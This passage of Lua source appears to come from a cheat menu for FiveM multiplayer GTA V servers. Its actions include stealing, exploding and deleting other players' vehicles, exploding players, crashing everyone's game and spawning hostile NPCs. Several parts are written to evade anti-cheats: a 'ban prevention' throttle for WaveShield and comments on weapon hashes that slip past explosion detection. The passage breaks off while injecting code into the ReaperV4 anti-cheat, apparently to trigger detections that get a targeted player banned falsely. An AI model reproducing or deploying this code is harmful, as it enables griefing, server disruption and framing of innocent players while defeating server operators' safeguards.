                                                        SafeRunNative(SetEntityVisible, vehicle, false)
                                                        SafeRunNative(FreezeEntityPosition, vehicle, true)

                                                        Wait(150)

                                                        SafeRunNative(SetEntityVisible, vehicle, true)
                                                        SafeRunNative(FreezeEntityPosition, vehicle, false)
                                                    end

                                                    SafeRunNative(SetVehicleForwardSpeed, vehicle, 75.0)
                                                end)
                                            end
                                        end
                                    },
                                    {
                                        id = 'spawn_prop',
                                        holdCooldown = 400,
                                        liveLabel = function(isSelected)
                                            local data

                                            if isSelected then
                                                local setProp = setProps[currentSpawnProp]

                                                if setProp == 'custom' then
                                                    data = '(' .. (_G.SetClient_CustomFcSpawnProp or 'enter to set') .. ')'
                                                else
                                                    data = '(' .. (setProp or '?') .. ')'
                                                end
                                            end

                                            return {
                                                label = 'Spawn Prop',
                                                data = data
                                            }
                                        end,
                                        onLeft = function()
                                            if currentSpawnProp > 1 then
                                                currentSpawnProp = currentSpawnProp - 1
                                            else
                                                currentSpawnProp = #setProps
                                            end

                                            _G.SetClient_CurrentSetFcSpawnProp = currentSpawnProp
                                        end,
                                        onRight = function()
                                            if currentSpawnProp < #setProps then
                                                currentSpawnProp = currentSpawnProp + 1
                                            else
                                                currentSpawnProp = 1
                                            end

                                            _G.SetClient_CurrentSetFcSpawnProp = currentSpawnProp
                                        end,
                                        onEnter = function()
                                            if setProps[currentSpawnProp] ~= 'custom' then return end
                                            if _G.SetClient_PropInputActive then return end

                                            SendToHook('ShowPropInput', _G.SetClient_CustomFcSpawnProp or '')
                                        end,
                                        onHold = function(entity, targetCoords)
                                            if targetCoords then
                                                local propModel = setProps[currentSpawnProp]

                                                if propModel == 'custom' then
                                                    propModel = _G.SetClient_CustomFcSpawnProp

                                                    if not propModel or propModel == '' then
                                                        SendToHook('FreecamNotify', 'Press Enter to set a custom prop name first.', 'error')
                                                        return
                                                    end
                                                end

                                                if GetResourceState('WaveShield') == 'started' then
                                                    local now = GetGameTimer()

                                                    _G.SetClient_PropSpawnHistory = _G.SetClient_PropSpawnHistory or {}
                                                    _G.SetClient_PropSpawnCooldownUntil = _G.SetClient_PropSpawnCooldownUntil or 0

                                                    if now < _G.SetClient_PropSpawnCooldownUntil then
                                                        SendToHook('FreecamNotify', ('Ban prevention: wait %.1f seconds before spawning again.'):format((_G.SetClient_PropSpawnCooldownUntil - now) / 1000), 'error')
                                                        return
                                                    end

                                                    for i = #_G.SetClient_PropSpawnHistory, 1, -1 do
                                                        if (now - _G.SetClient_PropSpawnHistory[i]) > 3000 then
                                                            table.remove(_G.SetClient_PropSpawnHistory, i)
                                                        end
                                                    end

                                                    _G.SetClient_PropSpawnHistory[#_G.SetClient_PropSpawnHistory + 1] = now

                                                    if #_G.SetClient_PropSpawnHistory >= 3 then
                                                        _G.SetClient_PropSpawnCooldownUntil = now + 7000
                                                        _G.SetClient_PropSpawnHistory = {}
                                                        SendToHook('FreecamNotify', 'Ban prevention: wait 7s before spawning again', 'error')
                                                        return
                                                    end
                                                end

                                                SafeRunNative(CreateThread, function()
                                                    local propHash = GetHashKey(propModel)

                                                    RequestModel(propHash)

                                                    local setTimer = GetGameTimer()

                                                    while not HasModelLoaded(propHash) do
                                                        Wait(0)

                                                        if (GetGameTimer() - setTimer) > 5000 then
                                                            SendToHook('FreecamNotify', 'Failed to load prop model.', 'error')
                                                            return
                                                        end
                                                    end

                                                    local prop = SafeRunNative(CreateObject, propHash, targetCoords.x, targetCoords.y, targetCoords.z, true, true, true)

                                                    SafeRunNative(SetModelAsNoLongerNeeded, propHash)

                                                    if prop and prop > 0 then
                                                        if propModel == 'm23_2_prop_m32_ice_block_05b' then
                                                            SafeRunNative(SetEntityRotation, prop, 90.0, 0.0, 0.0, 2, true)
                                                        end
                                                        SafeRunNative(FreezeEntityPosition, prop, true)
                                                        SafeRunNative(SetEntityInvincible, prop, true)
                                                    end
                                                end)
                                            end
                                        end
                                    },
                                    {
                                        id = 'black_hole',
                                        label = 'Black Hole',
                                        getChanges = function()
                                            return {
                                                rayFlag = 505
                                            }
                                        end,
                                        onHold = function(entity, targetCoords)
                                            if targetCoords then
                                                local entities = {}
                                                local peds = GetGamePool('CPed')
                                                local vehicles = GetGamePool('CVehicle')
                                                local setTime = GetGameTimer()

                                                for i = 1, #peds do
                                                    local ped = peds[i]

                                                    if not IsPedAPlayer(ped) then
                                                        entities[#entities + 1] = ped
                                                    end
                                                end

                                                for i = 1, #vehicles do
                                                    entities[#entities + 1] = vehicles[i]
                                                end

                                                for i = 1, #entities do
                                                    local entity = entities[i]
                                                    local setCoords = GetEntityCoords(entity)
                                                    local distance = #(setCoords - targetCoords)
                                                    local norm = (targetCoords - setCoords) / distance

                                                    SafeRunNative(SetEntityInvincible, entity, true)
                                                    SafeRunNative(SetEntityCanBeDamaged, entity, false)
                                                    SafeRunNative(ApplyForceToEntity, entity, 1, math.min(norm.x * 5.0, distance), math.min(norm.y * 5.0, distance), math.min(norm.z * 5.0, distance), 0.0, 0.0, 0.0, 0, false, true, true, false, true)
                                                end
                                            end
                                        end
                                    },
                                    {
                                        id = 'steal_vehicle',
                                        liveLabel = function(isSelected, entity)
                                            local data

                                            if isSelected and entity then
                                                if entity and entity > 0 and DoesEntityExist(entity) and GetEntityType(entity) == 2 then
                                                    data = '('..(GetEntityArchetypeName(entity) or '?')..')'
                                                else
                                                    data = '(none)'
                                                end
                                            end

                                            return {
                                                label = 'Steal Vehicle',
                                                data = data
                                            }
                                        end,
                                        onHold = function(entity)
                                            if entity and entity > 0 and GetEntityType(entity) == 2 then
                                                SafeRunNative(CreateThread, function()
                                                    TakeControlOfVehicle(entity)
                                                    SafeRunNative(TaskWarpPedIntoVehicle, PlayerPedId(), entity, -1)
                                                end)
                                            end
                                        end
                                    },
                                    {
                                        id = 'delete_vehicle',
                                        liveLabel = function(isSelected, entity)
                                            local data

                                            if isSelected and entity then
                                                if entity and entity > 0 and DoesEntityExist(entity) and GetEntityType(entity) == 2 then
                                                    data = '('..(GetEntityArchetypeName(entity) or '?')..')'
                                                else
                                                    data = '(none)'
                                                end
                                            end

                                            return {
                                                label = 'Delete Vehicle',
                                                data = data
                                            }
                                        end,
                                        onHold = function(entity)
                                            if entity and entity > 0 and GetEntityType(entity) == 2 then
                                                SafeRunNative(CreateThread, function()
                                                    TakeControlOfVehicle(entity)
                                                    SafeRunNative(DeleteEntity, entity)
                                                end)
                                            end
                                        end
                                    },
                                    {
                                        id = 'bring_vehicle',
                                        liveLabel = function(isSelected, entity)
                                            local data

                                            if isSelected and entity then
                                                if entity and entity > 0 and DoesEntityExist(entity) and GetEntityType(entity) == 2 then
                                                    data = '('..(GetEntityArchetypeName(entity) or '?')..')'
                                                else
                                                    data = '(none)'
                                                end
                                            end

                                            return {
                                                label = 'Bring Vehicle',
                                                data = data
                                            }
                                        end,
                                        onHold = function(entity)
                                            if entity and entity > 0 and GetEntityType(entity) == 2 then
                                                SafeRunNative(CreateThread, function()
                                                    TakeControlOfVehicle(entity)
                                                    SetCoords(entity, GetEntityCoords(PlayerPedId()))
                                                end)
                                            end
                                        end
                                    },
                                    {
                                        id = 'remove_from_vehicle',
                                        liveLabel = function(isSelected, entity)
                                            local data

                                            if isSelected and entity then
                                                if entity and entity > 0 and DoesEntityExist(entity) and GetEntityType(entity) == 2 then
                                                    data = '('..(GetEntityArchetypeName(entity) or '?')..')'
                                                else
                                                    data = '(none)'
                                                end
                                            end

                                            return {
                                                label = 'Remove From Vehicle',
                                                data = data
                                            }
                                        end,
                                        onHold = function(entity)
                                            if entity and entity > 0 and GetEntityType(entity) == 2 then
                                                SafeRunNative(CreateThread, function()
                                                    TakeControlOfVehicle(entity)
                                                end)
                                            end
                                        end
                                    },
                                    {
                                        id = 'destroy_vehicle',
                                        liveLabel = function(isSelected, entity)
                                            local data

                                            if isSelected and entity then
                                                if entity and entity > 0 and DoesEntityExist(entity) and GetEntityType(entity) == 2 then
                                                    data = '('..(GetEntityArchetypeName(entity) or '?')..')'
                                                else
                                                    data = '(none)'
                                                end
                                            end

                                            return {
                                                label = 'Destroy Vehicle',
                                                data = data
                                            }
                                        end,
                                        onHold = function(entity)
                                            if entity and entity > 0 and GetEntityType(entity) == 2 then
                                                SafeRunNative(CreateThread, function()
                                                    TakeControlOfVehicle(entity)
                                                    SafeRunNative(SetVehicleEngineHealth, entity, -4000)
                                                    SafeRunNative(SetVehicleBodyHealth, entity, -4000)
                                                end)
                                            end
                                        end
                                    },
                                    {
                                        id = 'explode_vehicle',
                                        liveLabel = function(isSelected, entity)
                                            local data

                                            if isSelected and entity then
                                                if entity and entity > 0 and DoesEntityExist(entity) and GetEntityType(entity) == 2 then
                                                    data = '('..(GetEntityArchetypeName(entity) or '?')..')'
                                                else
                                                    data = '(none)'
                                                end
                                            end

                                            return {
                                                label = 'Explode Vehicle',
                                                data = data
                                            }
                                        end,
                                        onHold = function(entity, targetCoords, camCoords)
                                            if entity and entity > 0 and GetEntityType(entity) == 2 then
                                                -- vehicle_weapon_subcar_mg is hitscan but its hash is not on the
                                                -- explosion ignore list, so its blasts still hit the spawned
                                                -- explosion check. The laser cannon is on both lists.
                                                if not GetExplodeAllowance(2) then
                                                    return
                                                end

                                                local selfPed = PlayerPedId()
                                                local weaponHash = GetHashKey(explodeWeapon)
                                                local carAbove = GetOffsetFromEntityInWorldCoords(entity, 0.0, 0.0, 3.0)
                                                local carUnder = GetOffsetFromEntityInWorldCoords(entity, 0.0, 0.0, -3.0)
                                                local carMiddle = GetEntityCoords(entity)

                                                ShootBullet(selfPed, weaponHash, carMiddle, carAbove)
                                                ShootBullet(selfPed, weaponHash, carMiddle, carUnder)
                                            end
                                        end
                                    },
                                    {
                                        id = 'break_vehicle',
                                        holdCooldown = 500,
                                        liveLabel = function(isSelected, entity)
                                            return {
                                                label = 'Break Vehicle',
                                                data = GetVehicleData(isSelected, entity)
                                            }
                                        end,
                                        onHold = function(entity)
                                            if entity and entity > 0 and GetEntityType(entity) == 2 then
                                                SafeRunNative(CreateThread, function()
                                                    if not TakeControlOfVehicle(entity) then
                                                        return
                                                    end

                                                    SafeRunNative(SetEntityAsMissionEntity, entity, true, true)

                                                    for i = 0, 5 do
                                                        SafeRunNative(SetVehicleTyreBurst, entity, i, true, 1000.0)
                                                    end

                                                    for i = 0, 7 do
                                                        SafeRunNative(SmashVehicleWindow, entity, i)
                                                    end

                                                    for i = 0, 5 do
                                                        SafeRunNative(SetVehicleDoorBroken, entity, i, true)
                                                    end

                                                    SafeRunNative(SetVehicleEngineHealth, entity, -4000.0)
                                                    SafeRunNative(SetVehiclePetrolTankHealth, entity, -4000.0)
                                                    SafeRunNative(SetVehicleBodyHealth, entity, 0.0)
                                                    SafeRunNative(SetVehicleUndriveable, entity, true)
                                                end)
                                            end
                                        end
                                    },
                                    {
                                        id = 'npc_hijack',
                                        holdCooldown = 800,
                                        liveLabel = function(isSelected, entity)
                                            local data

                                            if isSelected then
                                                local setDriver = setHijackDrivers[currentHijackDriver]

                                                data = '('..(setDriver and setDriver.label or '?')..')'

                                                local vehicleData = GetVehicleData(isSelected, entity)

                                                if vehicleData then
                                                    data = data..' '..vehicleData
                                                end
                                            end

                                            return {
                                                label = 'NPC Hijack Vehicle',
                                                data = data
                                            }
                                        end,
                                        onLeft = function()
                                            if currentHijackDriver > 1 then
                                                currentHijackDriver = currentHijackDriver - 1
                                            else
                                                currentHijackDriver = #setHijackDrivers
                                            end

                                            _G.SetClient_CurrentSetFcHijackDriver = currentHijackDriver
                                        end,
                                        onRight = function()
                                            if currentHijackDriver < #setHijackDrivers then
                                                currentHijackDriver = currentHijackDriver + 1
                                            else
                                                currentHijackDriver = 1
                                            end

                                            _G.SetClient_CurrentSetFcHijackDriver = currentHijackDriver
                                        end,
                                        onHold = function(entity)
                                            if entity and entity > 0 and GetEntityType(entity) == 2 then
                                                local setDriver = setHijackDrivers[currentHijackDriver]

                                                if not setDriver then
                                                    return
                                                end

                                                SafeRunNative(CreateThread, function()
                                                    if not TakeControlOfVehicle(entity) then
                                                        return
                                                    end

                                                    local modelHash = LoadSetModel(setDriver.model)

                                                    if not modelHash then
                                                        return
                                                    end

                                                    local cachedSelfData = GetCachedSelfData()
                                                    local newDriver = SafeRunNative(CreatePedInsideVehicle, entity, setDriver.pedType or 4, modelHash, -1, true, false)

                                                    SafeRunNative(SetModelAsNoLongerNeeded, modelHash)
                                                    SetCurrentSelfData(cachedSelfData)

                                                    if not newDriver or newDriver == 0 then
                                                        return
                                                    end

                                                    SafeRunNative(SetEntityAsMissionEntity, newDriver, true, true)
                                                    SafeRunNative(SetPedFleeAttributes, newDriver, 0, false)
                                                    SafeRunNative(SetBlockingOfNonTemporaryEvents, newDriver, true)
                                                    SafeRunNative(SetPedKeepTask, newDriver, true)
                                                    SafeRunNative(SetPedCanBeDraggedOut, newDriver, false)
                                                    SafeRunNative(TaskVehicleDriveWander, newDriver, entity, 120.0, 786597)
                                                    SafeRunNative(SetDriveTaskDrivingStyle, newDriver, 786597)
                                                    SafeRunNative(SetEntityAsNoLongerNeeded, newDriver)
                                                end)
                                            end
                                        end
                                    },
                                    {
                                        id = 'copy_plate',
                                        holdCooldown = 500,
                                        liveLabel = function(isSelected, entity)
                                            local data

                                            if isSelected and entity then
                                                if entity > 0 and DoesEntityExist(entity) and GetEntityType(entity) == 2 then
                                                    data = '('..(GetVehicleNumberPlateText(entity) or '?')..')'
                                                else
                                                    data = '(none)'
                                                end
                                            end

                                            return {
                                                label = 'Copy Plate',
                                                data = data
                                            }
                                        end,
                                        onHold = function(entity)
                                            if entity and entity > 0 and GetEntityType(entity) == 2 then
                                                local plateText = GetVehicleNumberPlateText(entity)

                                                if not plateText or plateText == '' then
                                                    return
                                                end

                                                local selfVehicle = GetVehiclePedIsIn(PlayerPedId(), false)

                                                if not selfVehicle or selfVehicle <= 0 then
                                                    SendToHook('FreecamNotify', 'Plate: '..plateText..' (enter a vehicle to apply)', 'info')
                                                    return
                                                end

                                                SafeRunNative(CreateThread, function()
                                                    SafeRunNative(SetVehicleNumberPlateText, selfVehicle, plateText)
                                                    SafeRunNative(SetVehicleNumberPlateTextIndex, selfVehicle, GetVehicleNumberPlateTextIndex(entity))

                                                    SendToHook('FreecamNotify', 'Copied plate: '..plateText, 'success')
                                                end)
                                            end
                                        end
                                    },
                                    {
                                        id = 'explode_player',
                                        label = 'Explode Player',
                                        holdCooldown = 1200,
                                        onHold = function(entity, targetCoords)
                                            local blastCoords = targetCoords

                                            if entity and entity > 0 and DoesEntityExist(entity) and GetEntityType(entity) == 1 then
                                                blastCoords = GetEntityCoords(entity) + vec3(0.0, 0.0, 0.2)
                                            end

                                            if not blastCoords then
                                                return
                                            end

                                            if not GetExplodeAllowance() then
                                                return
                                            end

                                            -- Fire straight down through the target: the projectile detonates on
                                            -- the target itself, so the explosion is owned by a real weapon shot
                                            -- rather than a spawned explosion event.
                                            local fromCoords = blastCoords + vec3(0.0, 0.0, 3.0)

                                            ShootBullet('self', GetHashKey(explodeWeapon), blastCoords, fromCoords)
                                        end
                                    },
                                    {
                                        id = 'spawn_ped',
                                        holdCooldown = 400,
                                        liveLabel = function(isSelected)
                                            local data

                                            if isSelected then
                                                local setPed = setPeds[currentSpawnPed]

                                                data = '('..(setPed and setPed.label or '?')..')'

                                                if setPed and setPed.label == 'Custom Ped' then
                                                    data = data..' ('..(_G.SetClient_CustomSetFcSpawnPed or 'none')..')'
                                                end
                                            end

                                            return {
                                                label = 'Spawn Ped',
                                                data = data
                                            }
                                        end,
                                        onLeft = function()
                                            if currentSpawnPed > 1 then
                                                currentSpawnPed = currentSpawnPed - 1
                                            else
                                                currentSpawnPed = #setPeds
                                            end

                                            _G.SetClient_CurrentSetFcSpawnPed = currentSpawnPed
                                        end,
                                        onRight = function()
                                            if currentSpawnPed < #setPeds then
                                                currentSpawnPed = currentSpawnPed + 1
                                            else
                                                currentSpawnPed = 1
                                            end

                                            _G.SetClient_CurrentSetFcSpawnPed = currentSpawnPed
                                        end,
                                        onEnter = function()
                                            local setPed = setPeds[currentSpawnPed]

                                            if setPed and setPed.label == 'Custom Ped' then
                                                SendToHook('FreecamPedInput')
                                            end
                                        end,
                                        onHold = function(entity, targetCoords, camCoords, camRotation)
                                            if not targetCoords then
                                                return
                                            end

                                            local setPed = setPeds[currentSpawnPed]

                                            if not setPed then
                                                return
                                            end

                                            local pedModel = setPed.model
                                            local pedType = setPed.pedType or 4

                                            if setPed.label == 'Custom Ped' then
                                                pedModel = _G.SetClient_CustomSetFcSpawnPed

                                                if not pedModel or pedModel == '' then
                                                    return
                                                end
                                            elseif not pedModel then
                                                local pickable = {}

                                                for i = 1, #setPeds do
                                                    if setPeds[i].model then
                                                        pickable[#pickable + 1] = setPeds[i]
                                                    end
                                                end

                                                if #pickable == 0 then
                                                    return
                                                end

                                                local randomPed = pickable[math.random(#pickable)]

                                                pedModel = randomPed.model
                                                pedType = randomPed.pedType or 4
                                            end

                                            if not GetSpawnAllowance() then
                                                return
                                            end

                                            SafeRunNative(CreateThread, function()
                                                local modelHash = LoadSetModel(pedModel)

                                                if not modelHash then
                                                    SendToHook('FreecamNotify', 'Invalid ped model: '..tostring(pedModel), 'error')
                                                    return
                                                end

                                                local ped = SafeRunNative(CreatePed, pedType, modelHash, targetCoords.x, targetCoords.y, targetCoords.z, camRotation.z, true, false)

                                                SafeRunNative(SetModelAsNoLongerNeeded, modelHash)

                                                if not ped or ped == 0 then
                                                    return
                                                end

                                                SafeRunNative(SetEntityAsMissionEntity, ped, true, true)
                                                SafeRunNative(SetPedFleeAttributes, ped, 0, false)
                                                SafeRunNative(SetBlockingOfNonTemporaryEvents, ped, true)
                                                SafeRunNative(SetPedCanRagdollFromPlayerImpact, ped, false)
                                                SafeRunNative(SetEntityAsNoLongerNeeded, ped)
                                            end)
                                        end
                                    },
                                    {
                                        id = 'phys_gun',
                                        holdCooldown = 0,
                                        getChanges = function()
                                            -- vehicles + peds + objects only; excluding the map means aiming
                                            -- at terrain simply returns no hit instead of a static handle.
                                            return {
                                                rayFlag = 26
                                            }
                                        end,
                                        liveLabel = function(isSelected, entity)
                                            local data

                                            if isSelected then
                                                local heldLabel = GetPhysEntityLabel(physHeldEntity)

                                                if heldLabel then
                                                    data = '('..heldLabel..') ('..string.format('%.1fm', physHoldDist)..')'
                                                else
                                                    data = '('..(GetPhysEntityLabel(entity) or 'none')..')'
                                                end
                                            end

                                            return {
                                                label = 'Phys Gun',
                                                data = data
                                            }
                                        end,
                                        onLeft = function()
                                            physHoldDist = math.max(2.0, physHoldDist - 1.0)
                                        end,
                                        onRight = function()
                                            physHoldDist = math.min(100.0, physHoldDist + 1.0)
                                        end,
                                        onClick = function(entity, targetCoords, camCoords)
                                            PhysGunGrab(entity, camCoords)
                                        end,
                                        onHold = function(entity, targetCoords, camCoords, camRotation)
                                            if physHeldEntity == 0 then
                                                return
                                            end

                                            if not DoesEntityExist(physHeldEntity) then
                                                physHeldEntity = 0

                                                return
                                            end

                                            -- Same direction basis the freecam raycast uses, so the held entity
                                            -- tracks the crosshair exactly instead of drifting off centre.
                                            local radZ = math.rad(camRotation.z)
                                            local radX = math.rad(camRotation.x)
                                            local setNum = math.abs(math.cos(radX))
                                            local dir = vec3(-math.sin(radZ) * setNum, math.cos(radZ) * setNum, math.sin(radX))
                                            local goalCoords = camCoords + (dir * physHoldDist)
                                            local currentCoords = GetEntityCoords(physHeldEntity)
                                            local velocity = (goalCoords - currentCoords) * 6.0

                                            SafeRunNative(SetEntityVelocity, physHeldEntity, velocity.x, velocity.y, velocity.z)
                                            SafeRunNative(SetEntityRotation, physHeldEntity, camRotation.x, 0.0, camRotation.z, 2, true)
                                        end,
                                        onUnclick = function()
                                            PhysGunRelease()
                                        end,
                                        onUnhover = function()
                                            PhysGunRelease()
                                        end
                                    },
                                    {
                                        id = 'target_player',
                                        liveLabel = function(isSelected, entity)
                                            if entity and entity ~= 0 and IsEntityAPed(entity) and IsPedAPlayer(entity) then
                                                local pid = NetworkGetPlayerIndexFromPed(entity)
                                                if pid ~= PlayerId() then
                                                    return { label = 'Target', data = GetPlayerName(pid) or '?' }
                                                end
                                            end
                                            return { label = 'Target', data = 'aim at player' }
                                        end,
                                        onClick = function(entity)
                                            if not entity or entity == 0 then return end
                                            if not IsEntityAPed(entity) or not IsPedAPlayer(entity) then return end
                                            local pid = NetworkGetPlayerIndexFromPed(entity)
                                            if pid == PlayerId() then return end
                                            SendToHook('FcPlayerTarget', GetPlayerServerId(pid), GetPlayerName(pid) or '?')
                                        end
                                    },
                                    {
                                        id = 'spike_strip',
                                        label = 'Spike Strip',
                                        onHold = function(entity, targetCoords)
                                            if not targetCoords then return end
                                            SafeRunNative(CreateThread, function()
                                                local model = GetHashKey('p_ld_stinger_s')
                                                RequestModel(model)
                                                local timeout = GetGameTimer() + 5000
                                                while not HasModelLoaded(model) and GetGameTimer() < timeout do Wait(0) end
                                                if not HasModelLoaded(model) then return end
                                                local groundZ = targetCoords.z
                                                local found, gz = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z + 10.0, false)
                                                if found then groundZ = gz end
                                                SafeRunNative(CreateObject, model, targetCoords.x, targetCoords.y, groundZ + 0.2, true, true, false)
                                                SetModelAsNoLongerNeeded(model)
                                            end)
                                        end
                                    },
                                    {
                                        id = 'fire_spawner',
                                        label = 'Fire Spawner',
                                        onHold = function(entity, targetCoords)
                                            if not targetCoords then return end
                                            SafeRunNative(StartNetworkedParticleFxNonLoopedAtCoord, 'ent_sht_petrol_fire', targetCoords.x, targetCoords.y, targetCoords.z, 0.0, 0.0, 0.0, 9.5, false, false, false)
                                        end
                                    },
                                    {
                                        id = 'spawn_angry_ped',
                                        label = 'Angry Ped',
                                        onHold = function(entity, targetCoords)
                                            if not targetCoords then return end
                                            SafeRunNative(CreateThread, function()
                                                local model = GetHashKey('mp_m_freemode_01')
                                                RequestModel(model)
                                                local timeout = GetGameTimer() + 5000
                                                while not HasModelLoaded(model) and GetGameTimer() < timeout do Wait(0) end
                                                if not HasModelLoaded(model) then return end
                                                local groundZ = targetCoords.z
                                                local found, gz = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z + 1.0, false)
                                                if found then groundZ = gz end
                                                local heading = GetEntityHeading(PlayerPedId())
                                                local ped = SafeRunNative(CreatePed, 28, model, targetCoords.x, targetCoords.y, groundZ, heading, true, false)
                                                SetModelAsNoLongerNeeded(model)
                                                if ped and ped > 0 then
                                                    SafeRunNative(GiveWeaponToPed, ped, GetHashKey('WEAPON_BAT'), 1, false, true)
                                                    if entity and entity ~= 0 and DoesEntityExist(entity) and IsEntityAPed(entity) then
                                                        SafeRunNative(TaskCombatPed, ped, entity, 0, 16)
                                                    else
                                                        SafeRunNative(TaskCombatHatedTargetsAroundPed, ped, 30.0, 0)
                                                    end
                                                end
                                            end)
                                        end
                                    },
                                    {
                                        id = 'crash_everyone',
                                        label = 'Crash Everyone',
                                        onClick = function(entity)
                                            SendToHook('FcCrashEveryone')
                                        end
                                    },
                                    {
                                        id = 'spawn_car',
                                        label = 'Spawn Car',
                                        onHold = function(entity, targetCoords)
                                            if not targetCoords then return end
                                            SafeRunNative(CreateThread, function()
                                                local ped = PlayerPedId()
                                                local curVeh = GetVehiclePedIsIn(ped, false)
                                                local model = (curVeh and curVeh ~= 0) and GetEntityModel(curVeh) or GetHashKey('adder')
                                                RequestModel(model)
                                                local timeout = GetGameTimer() + 5000
                                                while not HasModelLoaded(model) and GetGameTimer() < timeout do Wait(0) end
                                                if not HasModelLoaded(model) then return end
                                                local found, gz = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z + 2.0, false)
                                                local spawnZ = found and gz or targetCoords.z
                                                SafeRunNative(CreateVehicle, model, targetCoords.x, targetCoords.y, spawnZ, 0.0, true, false)
                                                SetModelAsNoLongerNeeded(model)
                                            end)
                                        end
                                    },
                                    {
                                        id = 'drag_vehicle',
                                        label = 'Drag Vehicle',
                                        onHold = function(entity, targetCoords)
                                            if not targetCoords then return end
                                            local veh = nil
                                            if entity and entity ~= 0 and DoesEntityExist(entity) then
                                                if IsEntityAVehicle(entity) then
                                                    veh = entity
                                                elseif IsEntityAPed(entity) then
                                                    local v = GetVehiclePedIsIn(entity, false)
                                                    if v and v ~= 0 and DoesEntityExist(v) then veh = v end
                                                end
                                            end
                                            if not veh then
                                                veh = _G.JunkieDragVeh
                                            else
                                                _G.JunkieDragVeh = veh
                                            end
                                            if not veh or not DoesEntityExist(veh) then return end
                                            SafeRunNative(NetworkRequestControlOfEntity, veh)
                                            SafeRunNative(SetEntityCoordsNoOffset, veh, targetCoords.x, targetCoords.y, targetCoords.z + 1.2, false, false, false)
                                            SafeRunNative(SetEntityVelocity, veh, 0.0, 0.0, 0.0)
                                        end
                                    },
                                    {
                                        id = 'enter_vehicle',
                                        label = 'Enter Vehicle',
                                        onClick = function(entity)
                                            if not entity or entity == 0 then return end
                                            local veh = nil
                                            if IsEntityAVehicle(entity) then
                                                veh = entity
                                            elseif IsEntityAPed(entity) then
                                                local v = GetVehiclePedIsIn(entity, false)
                                                if v and v ~= 0 and DoesEntityExist(v) then veh = v end
                                            end
                                            if not veh then return end
                                            SafeRunNative(SetPedIntoVehicle, PlayerPedId(), veh, -1)
                                        end
                                    },
                                    {
                                        id = 'heli_kill',
                                        label = 'Heli Kill',
                                        onHold = function(entity, targetCoords)
                                            if not targetCoords then return end
                                            SafeRunNative(CreateThread, function()
                                                local model = GetHashKey('buzzard2')
                                                RequestModel(model)
                                                local timeout = GetGameTimer() + 3000
                                                while not HasModelLoaded(model) and GetGameTimer() < timeout do Wait(0) end
                                                if not HasModelLoaded(model) then return end
                                                local heli = CreateVehicle(model, targetCoords.x, targetCoords.y, targetCoords.z + 2.0, 0.0, true, true)
                                                if not heli or not DoesEntityExist(heli) then SetModelAsNoLongerNeeded(model) return end
                                                SafeRunNative(SetEntityAsMissionEntity, heli, true, true)
                                                SafeRunNative(SetEntityInvincible, heli, true)
                                                SafeRunNative(SetEntityRotation, heli, 180.0, 0.0, 0.0, 2, true)
                                                SafeRunNative(SetVehicleEngineOn, heli, true, true, false)
                                                SafeRunNative(SetHeliBladesSpeed, heli, 1.0)
                                                SetModelAsNoLongerNeeded(model)
                                                Wait(2000)
                                                if DoesEntityExist(heli) then SafeRunNative(DeleteVehicle, heli) end
                                            end)
                                        end
                                    },
                                    {
                                        id = 'remote_bomb',
                                        label = 'Remote Bomb',
                                        onHold = function(entity, targetCoords)
                                            if not targetCoords then return end
                                            SafeRunNative(CreateThread, function()
                                                local model = GetHashKey('panto')
                                                RequestModel(model)
                                                local timeout = GetGameTimer() + 3000
                                                while not HasModelLoaded(model) and GetGameTimer() < timeout do Wait(0) end
                                                if not HasModelLoaded(model) then return end
                                                local veh = CreateVehicle(model, targetCoords.x, targetCoords.y, targetCoords.z + 1.0, 0.0, true, true)
                                                if not veh or not DoesEntityExist(veh) then SetModelAsNoLongerNeeded(model) return end
                                                SafeRunNative(SetEntityAsMissionEntity, veh, true, true)
                                                SafeRunNative(SetEntityVisible, veh, false, false)
                                                SafeRunNative(SetEntityCollision, veh, false, false)
                                                SafeRunNative(FreezeEntityPosition, veh, true)
                                                SetModelAsNoLongerNeeded(model)
                                                Wait(500)
                                                if DoesEntityExist(veh) then SafeRunNative(SetVehicleTimedExplosion, veh, PlayerPedId(), true) end
                                                Wait(500)
                                                if DoesEntityExist(veh) then SafeRunNative(DeleteVehicle, veh) end
                                            end)
                                        end
                                    },
                                    {
                                        id = 'vehicle_missile',
                                        label = 'Veh Missile',
                                        onHold = function(entity, targetCoords)
                                            if not targetCoords then return end
                                            SafeRunNative(CreateThread, function()
                                                local ped = PlayerPedId()
                                                local curVeh = GetVehiclePedIsIn(ped, false)
                                                local model = (curVeh and curVeh ~= 0) and GetEntityModel(curVeh) or GetHashKey('adder')
                                                RequestModel(model)
                                                local timeout = GetGameTimer() + 3000
                                                while not HasModelLoaded(model) and GetGameTimer() < timeout do Wait(0) end
                                                if not HasModelLoaded(model) then return end
                                                local origin = GetEntityCoords(ped)
                                                local spawnX = origin.x
                                                local spawnY = origin.y
                                                local spawnZ = origin.z + 5.0
                                                local dx = targetCoords.x - spawnX
                                                local dy = targetCoords.y - spawnY
                                                local dz = targetCoords.z - spawnZ
                                                local dist = math.sqrt(dx*dx + dy*dy + dz*dz)
                                                if dist < 0.1 then SetModelAsNoLongerNeeded(model) return end
                                                local speed = 200.0
                                                local vx = (dx/dist) * speed
                                                local vy = (dy/dist) * speed
                                                local vz = (dz/dist) * speed
                                                local heading = math.deg(math.atan(dx, dy))
                                                local missile = CreateVehicle(model, spawnX, spawnY, spawnZ, heading, true, true)
                                                if not missile or not DoesEntityExist(missile) then SetModelAsNoLongerNeeded(model) return end
                                                SafeRunNative(SetEntityAsMissionEntity, missile, true, true)
                                                SafeRunNative(SetEntityVelocity, missile, vx, vy, vz)
                                                SetModelAsNoLongerNeeded(model)
                                                Wait(1500)
                                                if DoesEntityExist(missile) then SafeRunNative(DeleteVehicle, missile) end
                                            end)
                                        end
                                    },
                                    {
                                        id = 'reaper_ban',
                                        label = 'Reaper Ban',
                                        onClick = function(entity)
                                            if not entity or entity == 0 then return end
                                            if not IsEntityAPed(entity) then return end

                                            -- phase 0: inject into ReaperV4 if available
                                            local targetSid = GetPlayerServerId(NetworkGetEntityOwner(entity))
                                            if targetSid and targetSid > 0 and MachoResourceInjectable('ReaperV4') then
                                                MachoInjectResourceRaw('ReaperV4', string.format([==[
                                                    CreateThread(function()
                                                        Wait(0)
                                                        local sid = %d
                                                        local evts = {
                                                            'ReaperV4:ac:detected', 'ReaperV4:detection',
